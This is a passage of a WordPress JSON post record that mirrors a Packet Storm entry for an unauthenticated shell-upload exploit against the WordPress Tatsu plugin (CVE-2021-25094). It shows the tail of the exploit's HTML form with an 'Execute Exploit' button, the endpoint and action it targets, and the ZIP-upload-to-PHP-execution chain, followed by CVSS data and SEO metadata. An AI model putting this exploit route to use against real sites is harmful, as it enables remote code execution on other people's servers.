\\u003c\/div\\u003e\\n                        \\u003c\/div\\u003e\\n                        \\n                        \\u003cbutton type=\\&#8221;submit\\&#8221; name=\\&#8221;action\\&#8221; value=\\&#8221;check\\&#8221; class=\\&#8221;info\\&#8221;\\u003eCheck Vulnerability\\u003c\/button\\u003e\\n                        \\u003cbutton type=\\&#8221;submit\\&#8221; name=\\&#8221;action\\&#8221; value=\\&#8221;exploit\\&#8221; class=\\&#8221;danger\\&#8221;\\u003eExecute Exploit\\u003c\/button\\u003e\\n                    \\u003c\/form\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;info-box\\&#8221;\\u003e\\n                        \\u003ch3\\u003eAbout CVE-2021-25094:\\u003c\/h3\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eVulnerability:\\u003c\/strong\\u003e Unauthenticated file upload leading to RCE\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eAffected Versions:\\u003c\/strong\\u003e Tatsu Plugin \u2264 3.3.11\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eAuthentication:\\u003c\/strong\\u003e None required\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eEndpoint:\\u003c\/strong\\u003e \/wp-admin\/admin-ajax.php\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eAction:\\u003c\/strong\\u003e add_custom_font\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eImpact:\\u003c\/strong\\u003e Remote Code Execution via ZIP file upload\\u003c\/p\\u003e\\n                        \\u003cp\\u003e\\u003cstrong\\u003eExploit Chain:\\u003c\/strong\\u003e ZIP Upload \u2192 File Extraction \u2192 PHP Execution\\u003c\/p\\u003e\\n                    \\u003c\/div\\u003e\\n                \\u003c\/div\\u003e\\n            \\u003c\/body\\u003e\\n            \\u003c\/html\\u003e&#8217;;\\n        }\\n    }\\n    ?\\u003e\\n    \\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215075&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.1,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215075\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-06T18:45:49&#8243;,&#8221;description&#8221;:&#8221;WordPress Tatsu plugin version 3.3.11 proof of concept unauthenticated remote shell upload exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-06T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-06T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215075&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2021-25094&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n | # Title : WordPress Tatsu 3.3.11&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,52,12,15,13,53,7,11,5],"class_list":["post-39475","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-81","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload_PACKETSTORM:215075 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=39475\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload_PACKETSTORM:215075 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-06T18:45:49&#8243;,&#8221;description&#8221;:&#8221;WordPress Tatsu plugin version 3.3.11 proof of concept unauthenticated remote shell upload exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-06T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-06T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215075&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2021-25094&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : WordPress Tatsu 3.3.11...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=39475\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-06T13:53:19+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"17 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39475#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39475\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload_PACKETSTORM:215075\",\"datePublished\":\"2026-02-06T13:53:19+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39475\"},\"wordCount\":3221,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.1\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39475#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39475\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39475\",\"name\":\"\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload_PACKETSTORM:215075 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-06T13:53:19+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39475#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39475\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39475#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload_PACKETSTORM:215075\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload_PACKETSTORM:215075 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=39475","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload_PACKETSTORM:215075 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-06T18:45:49&#8243;,&#8221;description&#8221;:&#8221;WordPress Tatsu plugin version 3.3.11 proof of concept unauthenticated remote shell upload exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-06T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-06T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215075&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2021-25094&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | # Title : WordPress Tatsu 3.3.11...","og_url":"https:\/\/zero.redgem.net\/?p=39475","og_site_name":"zero redgem","article_published_time":"2026-02-06T13:53:19+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"17 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=39475#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=39475"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload_PACKETSTORM:215075","datePublished":"2026-02-06T13:53:19+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=39475"},"wordCount":3221,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.1","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=39475#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=39475","url":"https:\/\/zero.redgem.net\/?p=39475","name":"\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload_PACKETSTORM:215075 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-06T13:53:19+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=39475#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=39475"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=39475#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 WordPress Tatsu 3.3.11 Shell Upload_PACKETSTORM:215075"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39475","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=39475"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39475\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=39475"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=39475"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=39475"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}